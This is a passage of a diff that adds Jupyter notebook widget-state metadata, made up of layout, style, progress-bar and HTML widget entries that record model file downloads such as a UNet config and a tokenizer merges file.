null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "81f9fd794d22477f8836a11322d5325b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "83067a7d3f454087ac1de91bf17c7339": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "8328f2c010f4426fbfef22482701f516": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "834aa09c8e984c819849676acdf25dae": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "838cb3152f3c48ec814de02def9b75f2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "83b4c17fa697445f86f7f034fe670934": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_707ce79ce0da4f35ad6b8f636d2901f8", + "max": 20, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_261aabd2415d43809b669b49f3899504", + "value": 20 + } + }, + "83cb84140f504cdaa6d5ed308baaa9bf": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_75837fa1f8ed4a7b8734f0c49e3bb6d0", + "max": 1445157124, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_527478832a8e451ea056c50ee2b241ab", + "value": 1445157124 + } + }, + "846c2df4629c416baea2612ea2c84a16": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_71b5693eda974ad78235b59d848304ab", + "max": 617, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_35aa99e07e7d469ba9a46d80bb9908bb", + "value": 617 + } + }, + "8477b0d8ae344f78ba17f537e0e2448f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "847b736c058c47f9adf366c4bb920a0d": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "848755aa7d4a4889b85870aac916c5ff": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "84e8bc8164b948d8897a8637c226ef1c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "84f1832335f44d73b6a1a588f0e79a11": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_e90005c8a5664c6f80e37268666f1a9f", + "placeholder": "​", + "style": "IPY_MODEL_783dca59f6a54589b6fb848cb13c5f3f", + "value": " 1.45G/1.45G [00:10<00:00, 140MB/s]" + } + }, + "851c4973cb0c4fbe91536a09f006ad43": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "85caf1e9b73e46cea1ce2c4ebf92554b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_4332d0e942ea406daeca4e1bbd36d4cb", + "max": 1445157124, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_44d7b2f89c984dcda69f368adbdf846f", + "value": 1445157124 + } + }, + "869c22e5399145dab7e36633b910abca": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_6e89b30bfcd04f1ebc77492eae365847", + "IPY_MODEL_7f27d4dadc2a4c4783f35193cf085593", + "IPY_MODEL_fa4ce3277cce4064aaf40849870966c1" + ], + "layout": "IPY_MODEL_d2324949415f4df2a964046b326231a4" + } + }, + "87d4c1e6a2a047f887704f6b0a148d2e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "87fcb7d5949d440dbe3c18e7059e65ad": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "88491458b25e4ae5a66afeaae7f76c12": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "88e4029063f44ce5a7e89e8f17664eeb": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "89a159fc68ef4972a0368c72306cd8c4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "89abbaee27c441b3ab1c656806a7e67d": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "89feac2a7b7d47388548f946fff4c862": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "8adb835bb80941dfa3e21c9dac93d793": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "8b7c3bcf27644ac09871f733662c4d8b": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "8baeb11dd15840e691eadde3f79bf4f2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_97348ede0e464090845a56a64a53e493", + "placeholder": "​", + "style": "IPY_MODEL_282f7b2aeec54a81b94da85c85c7cb75", + "value": " 492M/492M [00:05<00:00, 135MB/s]" + } + }, + "8bc53de7028e4a05bc683a6f47548d62": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "8c0d69533b674629b69a64345fc4d67e": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "8c4e2621ec244a2db21262a8ed0e4ab7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "8cb0f3ae820947a5984dd422b33776dd": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_b5462a2b462147899d82f6b4617cf781", + "placeholder": "​", + "style": "IPY_MODEL_d84093973fe84b06bb05f125ab7a11bb", + "value": "Downloading (…)e6a/unet/config.json: 100%" + } + }, + "8cec2e55fc3542789938c24adb050ca9": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_ec7bdbec2fc342f38039b8420a162a25", + "max": 492265874, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_dab4d54863e24f169f18999da88be46f", + "value": 492265874 + } + }, + "8d27414ca68a4494ab3febc1c8a03025": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_77a73421b7ae4bfe9fcb87353a121402", + "placeholder": "​", + "style": "IPY_MODEL_7bee130b66754bbc85e8454455ece425", + "value": " 3.44G/3.44G [00:22<00:00, 270MB/s]" + } + }, + "8d2da5062f414a7f8c98facdd7d2bad0": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "8d2f2b219308442db07d23b057f8e7cf": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "8d62ab081ff94e7abe3cc911d3376bbd": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "8dd1b3d2ce124d2a92d69bb1897a078e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_2898c9af6aea4c79a4f9e89e24275083", + "max": 472, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_c34ca1ea918344188c3241400aa3e775", + "value": 472 + } + }, + "8e31c3cc06bd4e9b92c3b1e6d5a9d61f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_7c2b45b1cf2a485b93e52b2dee04a278", + "placeholder": "​", + "style": "IPY_MODEL_851c4973cb0c4fbe91536a09f006ad43", + "value": " 382/382 [00:00<00:00, 7.26kB/s]" + } + }, + "8f92d6ba8bd04fabb8e6dddf0c7dfa44": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "8ff9c129cb434f9bbab238f1779c9b0b": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "90398133563a48288ebf11cf0e0e242d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_89abbaee27c441b3ab1c656806a7e67d", + "placeholder": "​", + "style": "IPY_MODEL_9a46a59ffb8d44c89b067519101f7a74", + "value": "Downloading (…)tokenizer/merges.txt: 100%" + } + }, + "9074425e4bf04c428926f5504cd3a8de": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": 